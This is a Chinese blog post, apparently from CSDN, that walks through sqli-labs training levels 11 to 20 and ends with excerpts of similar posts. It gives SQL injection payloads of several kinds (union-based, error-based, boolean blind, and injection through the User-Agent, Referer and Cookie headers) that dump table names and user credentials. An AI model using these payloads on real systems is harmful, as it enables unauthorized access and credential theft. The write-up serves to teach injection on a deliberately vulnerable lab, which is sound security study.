代码编织梦想

sqli-labs-master靶场第十一关

一,进入sqli-labs-master靶场第十一关

列如:127.0.0.1

发现页面存在登录界面

开始有了输入框,试着随便输入账号密码,发现提示失败,同时网页上面的链接位置不在有输入参数的信息,这说明,传参的方式由GET改成了POST。

二.我们随便输入一个用户名和密码使用BP抓包

抓到的包发送到repeater模块,查看正常回显是什么内容

这里有uname和passwd两个值,这两个都可能是注入点,我们都可以尝试一下

首先在uname的值加上单引号’

数据库语句报错,在passwd同理

说明俩个字段都存在注入点

判断注入点属于什么类型

输入uname=admin' and 1=1# 

回显正常

输入uname=admin' and 1=2#

结果没有回显,说明这个注入点是单引号闭合错误的注入漏洞

三,判断字段

使用order by 语句

uname=admin' order by 1#

从1开始尝试,试到3的时候报错,说明当前表的字段有2个

四,爆库名

做到这一步的时候,发现在uname这个点注入是没有回显信息的,只显示了正常的数据。需要在passwd这点注入才会回显,因为我们在最后加入了注释符#,会把passwd这个字段的值給注释掉,导致没有数据的正常回显。

使用联合查询语句 union

uname=admin&passwd=1' union select 1,database() #

五,爆表名

使用group_concat()函数
uname=admin&passwd=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

六,爆字段名

uname=admin&passwd=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' #

七,爆值

使用concat_ws函数

uname=admin&passwd=1' union select 1,concat_ws(',',id,username,password) from security.users limit 0,1 #

uname=admin&passwd=1' union select 1,concat_ws(',',id,username,password) from security.users limit 1,1 #

通过修改limit 后面的值,就可以得到全部信息

sqli-labs-master靶场第十二关

一,测试万能钥匙登录成功

二,判断回显点

三,查看数据库

1") union select 1,database() #

四,查表名security

1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

五,查看列

1") union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' #

六,查看users表的所有数据

1") union select 1,group_concat(username,password) from users#

sqli-labs-master靶场第十三关

一,1')  or 1=1#显示登录成功

1')  or 1=2#显示登录失败

没有回显点,使用报错注入

二,查看数据库

1') and extractvalue(1,concat(1,(select database())))#

三,查表名security

1') and extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security' )))#

四,查看列

1') and extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))#

五,查看users表的所有数据

1') and extractvalue(1,concat(1,(select group_concat(username,password) from users)))#

sqli-labs-master靶场第十四关

一,1" or 1=1#显示登录成功

1" or 1=2#显示登录失败

没有回显点,使用报错注入

二,查看数据库

1" and extractvalue(1,concat(1,(select database())))#

三,查表名security

1" and extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security' )))#

四,查看列

1" and extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))#

五,查看users表的所有数据

1" and extractvalue(1,concat(1,(select group_concat(username,password) from users)))#

sqli-labs-master靶场第十五关

一,判断闭合方式

1' or 1=1 #

页面只有ture和flase两种情况,所以需要使用布尔盲注

二,查看数据库

测试数据库长度

1' or length(database())=8#

测试数据库第一位字符

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面显示正常 说明数据库第一位字符ascii码大于114 :

1' or ascii(substr(database(),1,1))>114 #

判断数据库第一位字符的ascii码是否大于115 页面显示异常 说明不大于 大于114不大于115 说明第一位字符ascii码等于115

1' or ascii(substr(database(),1,1))>115#

以此类推.....最终得出数据库名为security

三,查security数据库中第一张表的第一位字符

1' or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100#

1' or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101#

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

以此类推......最终得出第一张表的表名为emails

四,判断users表中第一个字段的第一位字符

1' or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104#

1' or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105#

说明users表的第一个字段的第一位字符ascii码为105 'i'

以此类推......最终得出users表的第一个字段为id


五,判断username列的第一条数据的第一个字符

1' or ascii(substr((select username from users limit 0,1),1,1))>67#

1' or ascii(substr((select username from users limit 0,1),1,1))>68#

说明users表里面的username字段的第一条数据的第一个字符的ascii码为68'D'

以此类推......最终得出users表里面的username字段的第一条数据为Dumb

sqli-labs-master靶场第十六关

一,判断闭合方式

 1")or 1=1 #

页面只有ture和flase两种情况,所以需要使用布尔盲注

二,查看数据库

测试数据库长度

1") or length(database())>7#

1") or length(database())>8#

说明长度大于7的时候登录成功,长度大于8的时候的时候登录失败

测试数据库第一位字符

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面显示正常 说明数据库第一位字符ascii码大于114 :

1") or ascii(substr(database(),1,1))>114#

页面显示正常

判断数据库第一位字符的ascii码是否大于115 页面显示异常 说明不大于 大于114不大于115 说明第一位字符ascii码等于115

1") or ascii(substr(database(),1,1))>115#

页面显示失败

以此类推.....最终得出数据库名为security

三,查security数据库中第一张表的第一位字符

1") or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100#

1") or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101#

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

以此类推......最终得出第一张表的表名为emails

四,判断users表中第一个字段的第一位字符

1") or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104#

1") or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105#

说明users表的第一个字段的第一位字符ascii码为105 'i'

以此类推......最终得出users表的第一个字段为id


五,判断username列的第一条数据的第一个字符

1") or ascii(substr((select username from users limit 0,1),1,1))>67#

1") or ascii(substr((select username from users limit 0,1),1,1))>68#

说明users表里面的username字段的第一条数据的第一个字符的ascii码为68'D'

以此类推......最终得出users表里面的username字段的第一条数据为Dumb

sqli-labs-master靶场第十七关

一,判断注入点

首先在页面发现与上一关不同的是有了[PASSWORD RESET] ,这个意思是密码重置。所以极大可能这一关是密码会与数据库交接,注入地方应该优先在password下手。因为是密码重置,那么肯定是要有自己的用户,这里我用admin用户来演示,也就是对admin用户进行密码重置。一般像修改密码、插入数据等操作都是无回显内容的,所以大概率是不能简单注入的......

页面输入admin,密码谁便写一个我们这边写了一个(147258)来登录我们打开BP抓包,抓到放到重放器上边

二,页面显示重置密码,所以在passwd后面判断闭合方式

147258'--+

三,报错注入查看数据库

147258'and updatexml(1,concat(1,database()),1)--+

四,查表名

147258' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+

五,查列名

147258' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+

sqli-labs-master靶场第十八关

一,判断注入点

1.页面输入admin,密码谁便写一个我们这边写了一个(147258)来登录我们打开BP抓包,抓到放到重放器上边

2.判断闭合方式

1'and'

3.在User-agent后面进行注入测试,使用单引号成功报错确定其SQL注入

二,采⽤报错注⼊函数获取其当前数据库名称

1'and updatexml(1,concat(1,database()),1)and'

三,查表名

1'and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)and'

四,查列名

1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) and'

五,查看users表中所有信息

1' and updatexml(1,concat(1,(select group_concat(id,username,password) from users)),1)and

sqli-labs-master靶场第十九关

一,判断注入点

1.页面输入admin,密码谁便写一个我们这边写了一个(147258)来登录我们打开BP抓包,抓到放到重放器上边

2.判断闭合方式

'and'

3.在Referer后面进行注入测试,使用单引号成功报错确定其SQL注入

二,采⽤报错注⼊函数获取其当前数据库名称

'and updatexml(1,concat(1,database()),1)and'

三,查表名

1'and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)and'

这个抓包软件有前面的hppt...会报错所以我给删了(我感觉是长度问题),可以留着试一下

四,查列名

1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) and'

五,查看users表中所有信息

1' and updatexml(1,concat(1,(select group_concat(id,username,password) from users)),1)and'

sqli-labs-master靶场第二十关

一,判断注入点

1.页面输入admin,密码谁便写一个我们这边写了一个(147258)来登录我们打开BP抓包,抓到放到重放器上边

2.判断闭合方式

'--+

3.在Cookie后面进行注入测试,使用单引号成功报错确定其SQL注入

二,采⽤报错注⼊函数获取其当前数据库名称

'and updatexml(1,concat(1,database()),1)--+

三,查表名

'and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

四,查列名

' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+

五,查看users表中所有信息

' and updatexml(1,concat(1,(select group_concat(id,username,password) from users)),1)--+

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/2301_81881972/article/details/141332683

SQLI-LABS靶场11-20关-爱代码爱编程

声明:所有文章仅供学习使用,且其中有些是在网上找的资料,或许有相同的,如若侵权,请联系删除 LESS11(POST注入): 判断是否动态网站 两种判断法: 第一种是从网页的后缀名判断,一般html、htm结尾的网页为通常所说的静态页面; 其他的诸如php,jsp,asp等等为通常所说的动态页面(PS:需要要注意的是,如果网站页面是由伪静态生成的,那就

sqli-labs第11-20关-爱代码爱编程

Less-11 进入后是个登录页面,应该是基于post的注入,这边准备用hackbar注入,方便一点。看一下源码,两个框的名字分别是uname和passwd 先提交1试试效果 登陆失败,再加一个单引号试试,密码框不输(若是输入密码,报错出来的信息更少;也可同时输入单双引号,这个效果一样) 有报错回显,存在注入,且回显的错误为:‘1’’ and pa

sqli-labs11-13关闯关心得与思路-爱代码爱编程

第11-12关 1.从11关有了新变化,开始有了输入框了,试着随便输入账号密码,发现提示失败,同时网页上面的链接位置不在有输入参数的信息,这说明,传参的方式由GET改成了POST。 2.还是需要先确定闭合方式,在账号密码框里输入?id=1\,看看效果,根据报错信息可以知道,11关是 ' 闭合,12关是”)闭合。 3.根据burp的抓包

sqli-labs(第11关~第31关)通关笔记_weixin_54894046的博客-爱代码爱编程

​ Lesson-11 (POST型 字符型 ‘id’ 单引号包裹 有报错) 产生注入的sql语句如下: SELECT username, password FROM users WHERE username='' a

sqli-labs基础篇 第11~17关-爱代码爱编程

开始时间2023-1-13 【第十一关】基于错误的POST单引号字符型注入 Ⅰ 判断注入点 输入错误,显示failed 输入正确,显示successful 注入以下测试sql,报错“** 1’ limit

【sqli-labs靶场】第11关-爱代码爱编程

首先,从11关开始,界面变成了输入框,前十关都是get请求,参数都体现在url中,而十一关开始是post请求,参数是在表单里面。 1.首先判断是何种类型的注入 先在Username输入1,界面返回登录失败的字样  接着再试着输入1',出现报错信息,根据报错提示信息我们可以推断sql提交语句为username='参数' and password='

sqli靶场学习记录-第十一关至十六关-爱代码爱编程

第十一关 十一关肉眼可见的变化,不再是在链接上进行传参了,给了两个输入框进可以输入,在链接上传参页面不会发生变化了。 这里我们可以猜测两个输入框的作用,下面有一个提交按钮,那么这可能是一个查询框或者登录框,那么背后的网页

sqli-爱代码爱编程

目录 第一关: 第二关: 第三关: 第四关: 第五关(盲注): 第六关(盲注): 第七关(报错盲注): 第八关(时间盲注): 第九关(时间盲注): 第十关(时间盲注): 第十一关(报错):  第十二关: 第十三关: 第十四关: 第十五关(布尔类型盲注): 第十六关: 第十七关(update): 第十八关(头部注入inse

sqli-爱代码爱编程

进入页面有一个登录窗口。第十一关开始进入登录框这种模式,像登陆框这种模式也是可以当成sql语句注入的,你想想啊,它动态的页面,通过post传递值,然后再将post的值写到sql语句中。   随便在登录框中输入值,用burp suite抓包   发现是POST请求 尝试利用sql注入 判断注入类型 可以判断出是单引号字符型注入 由报错

sqli-爱代码爱编程

Sqli-labs-Less-11 前言: SQL注入的三个条件: ①参数可控;(从参数输入就知道参数可控) ②参数过滤不彻底导致恶意代码被执行;(需要在测试过程中判断) ③参数带入数据库执行。(从网页功能能大致分析出是否与数据库进行交互) 利用 order by 来测列数     测显位:mysql用1,2,3,4 Mysql

sql注入靶场闯关basic(11-爱代码爱编程

第十一关('闭合) 一、判断类型 1.从这关开始变成登录框输入,尝试登录一下,只有一个登录错误回显 2.在用户名处使用 ' 进行注释,发现出现了sql语句错误提醒,说明是通过单引号进行闭合 二、进行注入 1.插入一个永真式即可爆出用户名和密码,但这只是其中一行 admin' 1 =1 # 2.下面判断字段数 Du

sqli-爱代码爱编程

目录 第十一关 1、判断注入点 2、判断字段值 3、爆库名 4、爆表名 5、爆字段名,以users表为例 6、爆值 第十二关 1、判断注入点 知识点:POST方式联合查询注入 第十一关 思路: 1、判断注入点 我们随便输入一个用户名和密码,使用Burpsuite抓包 抓到的包发送到repeater模块,查看正常

sqli-爱代码爱编程

第十一关(post) 进入网页在输入框输入 1' 发现会有报错 因为这里是POST方式提交的,不能直接修改,这里有三种选择 1、使用可以POST提交的插件,例如Firefox中的HackBar 2、使用Burpsuite抓包后,然后修改 3、直接在输入框中注入 咱们使用手工输入,会发现username和password会回显1,2 1'